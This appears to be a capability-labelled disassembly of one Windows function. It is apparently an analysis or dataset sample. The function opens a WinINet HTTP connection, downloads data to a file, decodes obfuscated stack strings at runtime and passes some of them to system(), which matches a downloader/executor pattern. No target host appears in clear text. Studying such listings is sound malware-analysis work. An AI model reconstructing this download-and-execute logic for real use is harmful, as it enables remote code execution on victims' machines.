Function at 0x405d30
Capabilities:
Connect to http server
Create http request
Download and write a file
Execute command
Manipulate console buffer
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Send data
Send http request
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411446
mov eax, dword fs:[0]
push eax
sub esp, 0x3ac
mov eax, dword [0x419008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 0xf
mov byte [ebp - 0x2dc], 0
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], 0
mov dword [ebp - 0x2e4], 0
mov dword [ebp - 0x2e0], 0xf
mov byte [ebp - 0x2f4], 0
lea eax, [ebp - 0x2f4]
mov byte [ebp - 4], 4
push eax
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
lea esi, [ebp - 0x2c4]
lea edi, [ebp - 0x2dc]
push eax
call fcn.0040ba10
mov edx, esi
mov ecx, edi
call fcn.00405710
add esp, 0x1c
mov dword [ebp - 0x2ac], 0x200
lea eax, [ebp - 0x2ac]
push eax
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.urlmon.dll_ObtainUserAgentString]
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x2f8], 0x5333a48
mov ebx, dword [eax]
mov dword [ebp - 0x3b8], ebx
mov eax, dword [ebx + 0x210]
test al, 1
jne 0x405e8c
or eax, 1
mov dword [ebx + 0x210], eax
mov byte [ebp - 4], 5
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [ebx + 0x3a4], 1
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x2f8]
mov byte [ecx + ebx + 0x3a0], al
add ecx, 1
adc edx, 0
jne 0x405e7b
cmp ecx, 4
jb 0x405e60
push 0x413530
call fcn.0040fca6
add esp, 4
mov byte [ebp - 4], 4
lea esi, [ebx + 0x3a0]
mov ecx, esi
call fcn.0040d150
push esi
lea eax, [ebp - 0x18]
push 5
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
lea eax, [ebp - 0x218]
push 0
push 0
push 0
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, eax
mov dword [ebp - 0x2f8], ecx
test ecx, ecx
jne 0x406094
push 0xfffffffffffffff5
mov dword [ebp - 0x2f8], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebx, eax
lea eax, [ebp - 0x29c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x29a]
lea eax, [ebp - 0x2a8]
movsx ecx, word [ebp - 0x29c]
mov esi, dword [ebp - 0x2f8]
push eax
imul edi, ecx
push esi
push edi
push 0x20
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
lea eax, [ebp - 0x2a8]
push eax
push esi
push edi
push dword [ebp - 0x294]
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40ddc0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [ebp - 0x3b8]
mov dword [ebp - 0x294], 0xd8cfe318
mov dword [ebp - 0x290], 0x8f94ff8d
mov dword [ebp - 0x28c], 0xd2c9c871
mov eax, dword [edi + 0x6c0]
mov word [ebp - 0x288], 0x918d
test al, 1
jne 0x405fdc
or eax, 1
mov dword [edi + 0x6c0], eax
mov byte [ebp - 4], 6
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x2d2], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x294]
mov byte [ecx + edi + 0x2c4], al
add ecx, 1
adc edx, 0
jne 0x405fcb
cmp ecx, 0xe
jb 0x405fb0
push 0x4134f0
call fcn.0040fca6
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [edi + 0x2c4]
call fcn.0040d0f0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x2c4]
push 0x40ddc0
call fcn.0040d970
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0xe4]
mov dword [ebp - 0x284], 0xd230008b
mov word [ebp - 0x280], 0x9126
test al, 1
jne 0x406078
or eax, 1
mov dword [edi + 0xe4], eax
mov byte [ebp - 4], 7
xorps xmm0, xmm0
movlpd qword [ebp - 0x2a4], xmm0
mov edx, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x2a4]
mov byte [edi + 0x502], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x284]
mov byte [ecx + edi + 0x4fc], al
add ecx, 1
adc edx, 0
jne 0x40606b
cmp ecx, 6
jb 0x406050
push 0x4134b0
call fcn.0040fca6
add esp, 4
lea esi, [edi + 0x4fc]
mov ecx, esi
call fcn.0040d090
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
jmp 0x40691b
cmp dword [ebp - 0x2c8], 0x10
lea eax, [ebp - 0x2dc]
push 0
cmovae eax, dword [ebp - 0x2dc]
push 0
push 3
push 0
push 0
push 0x50
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
mov dword [ebp - 0x2a0], edi
test edi, edi
jne 0x406284
push 0xfffffffffffffff5
mov dword [ebp - 0x2f8], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebx, eax
lea eax, [ebp - 0x29c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x29a]
lea eax, [ebp - 0x2a8]
movsx ecx, word [ebp - 0x29c]
mov esi, dword [ebp - 0x2f8]
push eax
imul edi, ecx
push esi
push edi
push 0x20
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
lea eax, [ebp - 0x2a8]
push eax
push esi
push edi
push dword [ebp - 0x294]
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40ddc0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [ebp - 0x3b8]
mov dword [ebp - 0x290], 0x7c1710cc
mov dword [ebp - 0x28c], 0x39facfb2
mov word [ebp - 0x288], 0xde8
mov eax, dword [edi + 0x684]
mov byte [ebp - 0x286], 0x79
test al, 1
jne 0x4061cd
or eax, 1
mov dword [edi + 0x684], eax
mov byte [ebp - 4], 8
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x73f], 1
mov al, byte [ebp + ecx - 0x290]
mov byte [edi + ecx + 0x734], al
add ecx, 1
adc edx, 0
jne 0x4061bc
cmp ecx, 0xb
jb 0x4061a1
push 0x413470
call fcn.0040fca6
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [edi + 0x734]
call fcn.0040d030
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x734]
push 0x40ddc0
call fcn.0040d970
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x488]
mov dword [ebp - 0x284], 0x22242ae7
mov word [ebp - 0x280], 0xe518
test al, 1
jne 0x406268
or eax, 1
mov dword [edi + 0x488], eax
mov byte [ebp - 4], 9
xorps xmm0, xmm0
movlpd qword [ebp - 0x2a4], xmm0
mov edx, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x2a4]
mov byte [edi + 0x4d6], 1
nop
mov al, byte [ebp + ecx - 0x284]
mov byte [edi + ecx + 0x4d0], al
add ecx, 1
adc edx, 0
jne 0x40625b
cmp ecx, 6
jb 0x406240
push 0x413430
call fcn.0040fca6
add esp, 4
lea esi, [edi + 0x4d0]
mov ecx, esi
call fcn.0040cfd0
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
jmp 0x40691b
mov eax, dword [ebx + 0xac]
mov dword [ebp - 0x290], 0x23d1df2d
mov dword [ebp - 0x28c], 0xfabbf2e0
mov byte [ebp - 0x288], 0x65
test al, 1
jne 0x40630c
or eax, 1
mov dword [ebx + 0xac], eax
mov byte [ebp - 4], 0xa
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [ebx + 0x4f9], 1
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x290]
mov byte [ebx + ecx + 0x4f0], al
add ecx, 1
adc edx, 0
jne 0x4062fb
cmp ecx, 9
jb 0x4062e0
push 0x4133f0
call fcn.0040fca6
add esp, 4
mov byte [ebp - 4], 4
lea esi, [ebx + 0x4f0]
mov ecx, esi
call fcn.0040cf70
cmp dword [ebp - 0x2b0], 0x10
lea eax, [ebp - 0x2c4]
push 0
cmovae eax, dword [ebp - 0x2c4]
push 0x8404f700
push 0
push 0
push esi
push eax
lea eax, [ebp - 0x18]
push eax
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
jne 0x406504
push 0xfffffffffffffff5
mov dword [ebp - 0x2f8], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebx, eax
lea eax, [ebp - 0x29c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x29a]
lea eax, [ebp - 0x2a8]
movsx ecx, word [ebp - 0x29c]
push eax
imul edi, ecx
push esi
push edi
push 0x20
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
lea eax, [ebp - 0x2a8]
push eax
push esi
push edi
push dword [ebp - 0x294]
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40ddc0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [ebp - 0x3b8]
mov dword [ebp - 0x294], 0x280e1cb9
mov dword [ebp - 0x290], 0x7818a2c
mov dword [ebp - 0x28c], 0x2f100bae
mov eax, dword [edi + 0x148]
mov byte [ebp - 0x288], 0x49
test al, 1
jne 0x40644c
or eax, 1
mov dword [edi + 0x148], eax
mov byte [ebp - 4], 0xb
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x20d], 1
nop
mov al, byte [ebp + ecx - 0x294]
mov byte [edi + ecx + 0x200], al
add ecx, 1
adc edx, 0
jne 0x40643b
cmp ecx, 0xd
jb 0x406420
push 0x4133b0
call fcn.0040fca6
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [edi + 0x200]
call fcn.0040cf10
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x200]
push 0x40ddc0
call fcn.0040d970
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x72c]
mov dword [ebp - 0x284], 0xec029a3b
mov word [ebp - 0x280], 0xc750
test al, 1
jne 0x4064e8
or eax, 1
mov dword [edi + 0x72c], eax
mov byte [ebp - 4], 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x2a4], xmm0
mov edx, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x2a4]
mov byte [edi + 0x1b6], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x284]
mov byte [edi + ecx + 0x1b0], al
add ecx, 1
adc edx, 0
jne 0x4064db
cmp ecx, 6
jb 0x4064c0
push 0x413370
call fcn.0040fca6
add esp, 4
lea esi, [edi + 0x1b0]
mov ecx, esi
call fcn.0040ceb0
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
jmp 0x40691b
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push 0x41440c
cmovae eax, dword [ebp + 0x20]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov ebx, eax
add esp, 8
mov dword [ebp - 0x280], ebx
test ebx, ebx
jne 0x406704
push 0xfffffffffffffff5
mov dword [ebp - 0x2f8], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebx, eax
lea eax, [ebp - 0x29c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x29a]
lea eax, [ebp - 0x2a0]
movsx ecx, word [ebp - 0x29c]
mov esi, dword [ebp - 0x2f8]
push eax
imul edi, ecx
push esi
push edi
push 0x20
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
lea eax, [ebp - 0x2a0]
push eax
push esi
push edi
push dword [ebp - 0x294]
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40ddc0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [ebp - 0x3b8]
mov dword [ebp - 0x294], 0xa9209dd2
mov dword [ebp - 0x290], 0xf04f72b
mov dword [ebp - 0x28c], 0xb500cdd8
mov eax, dword [edi + 0x504]
mov word [ebp - 0x288], 0xc364
mov byte [ebp - 0x286], 0x6d
test al, 1
jne 0x40664c
or eax, 1
mov dword [edi + 0x504], eax
mov byte [ebp - 4], 0xd
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x6e7], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x294]
mov byte [ecx + edi + 0x6d8], al
add ecx, 1
adc edx, 0
jne 0x40663b
cmp ecx, 0xf
jb 0x406620
push 0x413330
call fcn.0040fca6
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [edi + 0x6d8]
call fcn.0040ce50
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x6d8]
push 0x40ddc0
call fcn.0040d970
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0xe8]
mov dword [ebp - 0x284], 0xda90e2e7
mov word [ebp - 0x280], 0x9b44
test al, 1
jne 0x4066e8
or eax, 1
mov dword [edi + 0xe8], eax
mov byte [ebp - 4], 0xe
xorps xmm0, xmm0
movlpd qword [ebp - 0x2a4], xmm0
mov edx, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x2a4]
mov byte [edi + 0xe2], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x284]
mov byte [ecx + edi + 0xdc], al
add ecx, 1
adc edx, 0
jne 0x4066db
cmp ecx, 6
jb 0x4066c0
push 0x4132f0
call fcn.0040fca6
add esp, 4
lea esi, [edi + 0xdc]
mov ecx, esi
call fcn.0040cdf0
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
jmp 0x40691b
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x2a8]
push eax
push 0x32
lea eax, [ebp - 0x27c]
push eax
push esi
call edi
test eax, eax
je 0x40675a
mov eax, dword [ebp - 0x2a8]
push ebx
test eax, eax
je 0x406a7b
push eax
lea eax, [ebp - 0x27c]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
lea eax, [ebp - 0x2a8]
push eax
push 0x32
lea eax, [ebp - 0x27c]
push eax
push esi
call edi
test eax, eax
jne 0x406721
xor eax, eax
push 0xfffffffffffffff5
mov dword [ebp - 0x2f8], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebx, eax
lea eax, [ebp - 0x29c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x29a]
lea eax, [ebp - 0x2a0]
movsx ecx, word [ebp - 0x29c]
mov esi, dword [ebp - 0x2f8]
push eax
imul edi, ecx
push esi
push edi
push 0x20
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
lea eax, [ebp - 0x2a0]
push eax
push esi
push edi
push dword [ebp - 0x294]
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40ddc0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [ebp - 0x3b8]
mov dword [ebp - 0x290], 0x5556a4e1
mov dword [ebp - 0x28c], 0x80d3d06f
mov word [ebp - 0x288], 0xc1e1
mov eax, dword [edi + 0x7b8]
test al, 1
jne 0x40685c
or eax, 1
mov dword [edi + 0x7b8], eax
mov byte [ebp - 4], 0xf
xorps xmm0, xmm0
movlpd qword [ebp - 0x2a4], xmm0
mov edx, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x2a4]
mov byte [edi + 0x1da], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x290]
mov byte [ecx + edi + 0x1d0], al
add ecx, 1
adc edx, 0
jne 0x40684b
cmp ecx, 0xa
jb 0x406830
push 0x4132b0
call fcn.0040fca6
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [edi + 0x1d0]
call fcn.0040cd90
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x1d0]
push 0x40ddc0
call fcn.0040d970
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [edi + 0x33c]
mov dword [ebp - 0x2a4], 0x907830cf
mov word [ebp - 0x2a0], 0x7778
test al, 1
jne 0x4068f8
or eax, 1
mov dword [edi + 0x33c], eax
mov byte [ebp - 4], 0x10
xorps xmm0, xmm0
movlpd qword [ebp - 0x2fc], xmm0
mov edx, dword [ebp - 0x2f8]
mov ecx, dword [ebp - 0x2fc]
mov byte [edi + 0x6f2], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x2a4]
mov byte [ecx + edi + 0x6ec], al
add ecx, 1
adc edx, 0
jne 0x4068eb
cmp ecx, 6
jb 0x4068d0
push 0x413270
call fcn.0040fca6
add esp, 4
lea esi, [edi + 0x6ec]
mov ecx, esi
call fcn.0040cd30
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push dword [ebp - 0x280]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 8
xor bl, bl
mov edx, dword [ebp - 0x2e0]
cmp edx, 0x10
jb 0x406957
mov ecx, dword [ebp - 0x2f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40694d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406a75
push edx
push ecx
call fcn.0040fbef
add esp, 8
mov edx, dword [ebp - 0x2b0]
cmp edx, 0x10
jb 0x406991
mov ecx, dword [ebp - 0x2c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406987
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406a75
push edx
push ecx
call fcn.0040fbef
add esp, 8
mov edx, dword [ebp - 0x2c8]
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], 0
cmp edx, 0x10
jb 0x4069e6
mov ecx, dword [ebp - 0x2dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4069dc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406a75
push edx
push ecx
call fcn.0040fbef
add esp, 8
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 0xf
mov byte [ebp - 0x2dc], 0
cmp edx, 0x10
jb 0x406a31
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406a27
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406a75
push edx
push ecx
call fcn.0040fbef
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x40707e
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407074
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x407074
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
push ebx
call edi
add esp, 8
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x2a0]
call esi
push dword [ebp - 0x2f8]
call esi
push 0xb8
lea eax, [ebp - 0x3b4]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
lea ecx, [ebp - 0x3b4]
cmovae eax, dword [ebp + 0x20]
add esp, 4
push 1
push eax
call fcn.0040b0e0
mov eax, dword [ebp - 0x3b4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3b4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x3b8], eax
lea ecx, [ebp - 0x3b4]
mov eax, dword [ebp - 0x3b4]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x3a8], 6
mov dword [ecx + eax], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3b4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x3b8], eax
je 0x406d84
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x358], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x406b7a
mov eax, dword [ebp - 0x398]
lea ecx, [ebp - 0x368]
cmp dword [eax], ecx
jne 0x406b7a
mov edx, dword [ebp - 0x350]
mov ecx, dword [ebp - 0x354]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x388]
mov dword [eax], ecx
mov eax, dword [ebp - 0x378]
mov dword [eax], edx
cmp byte [ebp - 0x35c], 0
je 0x406b8e
lea ecx, [ebp - 0x3a4]
call fcn.0040d520
lea ecx, [ebp - 0x3a4]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x39c]
mov byte [ebp - 4], 4
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x344]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
xor eax, eax
push 0xfffffffffffffff5
mov dword [ebp - 0x2f8], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebx, eax
lea eax, [ebp - 0x29c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx edi, word [ebp - 0x29a]
lea eax, [ebp - 0x2a0]
movsx ecx, word [ebp - 0x29c]
mov esi, dword [ebp - 0x2f8]
push eax
imul edi, ecx
push esi
push edi
push 0x20
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
lea eax, [ebp - 0x2a0]
push eax
push esi
push edi
push dword [ebp - 0x294]
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputAttribute]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x40ddc0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [ebp - 0x3b8]
mov dword [ebp - 0x294], 0xec53e8b
mov dword [ebp - 0x290], 0xcd90c367
mov dword [ebp - 0x28c], 0x2d112ed
mov eax, dword [edi + 0x61c]
mov word [ebp - 0x288], 0xf934
mov byte [ebp - 0x286], 0xff
test al, 1
jne 0x406ccc
or eax, 1
mov dword [edi + 0x61c], eax
mov byte [ebp - 4], 0x16
xorps xmm0, xmm0
movlpd qword [ebp - 0x284], xmm0
mov edx, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x284]
mov byte [edi + 0x403], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x294]
mov byte [ecx + edi + 0x3f4], al
add ecx, 1
adc edx, 0
jne 0x406cbb
cmp ecx, 0xf
jb 0x406ca0
push 0x4131b0
call fcn.0040fca6
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [edi + 0x3f4]
call fcn.0040cc10
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [edi + 0x3f4]
push 0x40ddc0
call fcn.0040d970
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
